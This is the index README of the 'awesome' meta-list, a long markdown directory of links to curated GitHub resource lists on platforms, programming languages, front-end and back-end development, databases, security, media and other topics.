- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Miscellaneous](#miscellaneous)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme)
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme)
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme)
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/bfred-it/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme)
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme)
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/isRuslan/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme)
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme)
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme)
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme)
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi#readme)
- [Assembler](https://github.com/jaspergould/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme)
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/gdi2290/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme)
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme)
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/nmec/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/ooade/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/hyperapp/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme)
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme)
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme)
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme)
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme)
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme)
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme)
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme)
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme)
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/felipebueno/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/guipdutra/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/beaconinside/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme)
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Tools](https://github.com/cjbarber/ToolsOfTheTrade#readme)
- [Styleguides](https://github.com/RichardLitt/awesome-styleguides#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/johnfaucett/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
